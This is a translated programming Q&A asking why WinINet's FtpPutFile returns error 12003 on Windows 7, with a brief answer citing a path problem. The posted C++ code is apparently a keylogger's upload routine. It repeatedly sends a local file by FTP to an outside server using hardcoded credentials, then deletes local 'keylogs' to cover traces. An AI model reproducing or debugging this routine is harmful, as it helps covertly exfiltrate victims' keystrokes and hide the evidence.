我在过去的3天里研究过这个问题,每天8-10个小时。我已经尝试过许多其他方法来上传文件,我已经尝试过其他库等等。但我无法弄明白。
它在最新版本的Windows 8.1上100%工作,但是当我在Windows 7或更早版本上测试时,在使用FtpPutFile时出现错误12003。
除了FtpPutFile之外,每个其他WinINet FTP功能都适用于每个版本的Windows。
我已经用Google搜索了这个主题至少24小时。 (字面上)
我有很多不同的理论,我已经对它们进行了全部测试,没有任何效果。
我想,也许这是文件/文件夹名称解析。所以我搞砸了,不,不。没用。
我想也许这是防火墙问题,我以管理员身份运行并禁用了防火墙,没有。
我尝试了无数其他事情......没有任何效果。
这是我的代码。我正在使用Visual Studio Express 2013。
#include "stdafx.h"
using namespace std;
#include <iostream>
#include <istream>
#include <windows.h>
#include <winuser.h>
#include <string>
#include <stdio.h>
#include <ctype.h>
#include <conio.h>
#include <time.h>
#include <wininet.h>
#include <fstream>
#include <direct.h>
#include <tchar.h>
#include <ctime>
#include <sstream>
#pragma comment (lib, "urlmon")
#pragma comment(lib, "Wininet")
void main(){
while (1){
void send();
send();
Sleep(10000);
}
}
void send(){
void FileSubmit();
FileSubmit();
}
void FileSubmit()
{
bool folderExists(string str);
cout << "Sending file..." << endl;
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL)
{
cout << "Error: " << GetLastError() << endl;
cout << InternetGetLastResponseInfo << endl;
}
else
{
hFtpSession = InternetConnect(hInternet, "cloud9ips.com", INTERNET_DEFAULT_FTP_PORT, "ftptest@cloud9ips.com", "Pass123", INTERNET_SERVICE_FTP, 0, 0);
if (hFtpSession == NULL)
{
cout << "Error: " << GetLastError() << endl;
cout << InternetGetLastResponseInfo << endl;
}
else
{
string folder_path = "/testfolder/";
string file_name = "testfile.txt";
cout << "file_name: " << file_name << endl;
cout << "folder_path: " << folder_path << endl;
if (!folderExists(folder_path)){
if (FtpCreateDirectory(hFtpSession, folder_path.c_str())){
cout << "Created folder for IP " + folder_path << endl;
}
else {
cout << "Error creating folder " + folder_path << endl;
}
}
else {
cout << "Folder already exists" << endl;
}
BOOL SetDir = FtpSetCurrentDirectory(hFtpSession, folder_path.c_str());
if (SetDir){
cout << "Set directory to " << folder_path << endl;
}
else {
cout << "Failed to set directory to " << folder_path << endl;
}
BOOL Rename = FtpRenameFile(hFtpSession, "testfile.txt", "new.txt");
if (Rename){
cout << "Successfully renamed testfile.txt to new.txt" << endl;
}
else {
cout << "Failed to rename file" << endl;
}
BOOL Transfer = FtpPutFile(hFtpSession, "C://folder/file.txt", file_name.c_str(), FTP_TRANSFER_TYPE_BINARY, 0);
if (!Transfer)
{
cout << "Failed to send file." << endl;
cout << "Error: " << GetLastError() << endl;
cout << "Response Info: " << InternetGetLastResponseInfo << endl;
}
else {
cout << "Successfully sent file." << endl;
}
cout << "Closing FTP Session" << endl;
InternetCloseHandle(hFtpSession); // Close hFtpSession
}
}
cout << "Closing connection" << endl;
InternetCloseHandle(hInternet); // Close hInternet
cout << "Removing local keylogs..." << endl;
remove("C://system/sys.txt");
cout << "Done!" << endl;
}
bool folderExists(string folder){
IStream* pStream = NULL;
string url = "http://cloud9ips.com/ftpadmin/" + folder + "/";
URLOpenBlockingStream(0, url.c_str(), &pStream, 0, 0);
if (!pStream)
return false;
pStream->Release();
return true;
}
我做错了吗?
我在代码中包含了FTP帐户的信息,因此您可以根据需要进行测试。
我看了一切,我无法理解......
如果你能提供帮助,我会非常感激。
谢谢-Alex Benoit。
答案 0 :(得分:0)
这是一个路径错误,不是由INTERNET_FLAG_PASSIVE
标志引起的。
我的解决方案如下:
pFtpConnection->SetCurrentDirectory(yourpath);
如果路径yourpath
不存在,请先创建路径;
然后
pFtpConnection->PutFile(localFullFileName,sRemoteFile);